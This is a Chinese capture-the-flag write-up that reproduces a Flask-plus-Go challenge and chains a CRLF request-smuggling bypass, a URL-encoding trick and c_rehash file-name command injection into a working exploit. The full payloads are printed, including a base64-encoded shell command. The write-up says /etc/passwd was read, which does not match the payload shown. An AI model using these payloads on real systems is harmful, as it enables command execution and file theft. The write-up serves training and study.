题目源码用于本地的调试,有所改动,考虑篇幅,只展示重要逻辑代码
app.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
  | 
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()
app.run(host="0.0.0.0", port=8888)
  | 
 
main.go
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
  | 
package main
import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)
func admin(c *gin.Context) {
	staticPath := "../static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}
func index(c *gin.Context) {
	c.String(200, "hello world")
}
func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)
	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}
  | 
 
因为flask里直接执行了命令,所以我们得把这个文件放到py文件的同级目录
        
    
接着启动服务,分别执行.
1
2
  | 
python3 app.py
go run main.go
  | 
 
        
    
这里题目的逻辑大致是这样:
首先通过getcrt路由生成crt文件,然后利用go里的admin/rename去修改文件名,最后利用createlink里的c_rehash执行命令
        
    
可以看到proxy里面,是拼接了一个http包的
        
    
这里不免想到CRLF,进了go里面,那么有这样的条件需要满足
1
2
3
4
5
6
7
8
9
  | 
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
  | 
 
首先是c.Request.URL.RawPath,这个的绕过方法是url编码,我们用%252f代替/来绕过这个
接着是host得是admin,这里我们可以用CRLF来实现
这里是给了c_rehash的源码的,先搜了一下这个cve,找到官方的修复方案,发现是在这里进行了修复
        
    
那么我们就可以对这里分析一下,这里可以从fname这里进行代码注入,类似于这样
1
  | 
1.crt"||id>1.txt||echo"
  | 
 
        
    
那么思路就清晰了
我们先生成一个crt记录下文件名,然后通过proxy,到go的/admin/rename下,通过CRLF绕过host的判断,把文件名修改成代码注入的样子,最后通过createlink执行c_rehash进行命令执行
但是最后有一个问题,就是这里fname还是有过滤的,是不能出现斜杠,那么我们就没有办法读取到其他目录下的文件了,这里的绕过逻辑是通过base64进行消敏
$fname =~ s/\"/\\\"/g;
payload:
1
  | 
uri=/admin%252frename?oldname=8c3bcef7-62f5-476c-9c9d-9dc7054a5533.crt%26newname=1.crt"||echo${IFS}"Y2F0IC9mbGFnPnpob25nM2Nj"|base64${IFS}-d|sh${IFS}-i"%20HTTP/1.1%0d%0aHost:%20admin%0d%0a%0d%0aGET%20/
  | 
 
成功修改文件名
        
    
        
    
然后再到createlink执行命令
        
    
访问static/crt/1.txt,成功读取到/etc/passwd
        
    
这里绕过Host判断,可以不用CRLF来绕过,这里可以用http://admin/admin/rename来绕过
        
    
可以看到是可以成功绕过的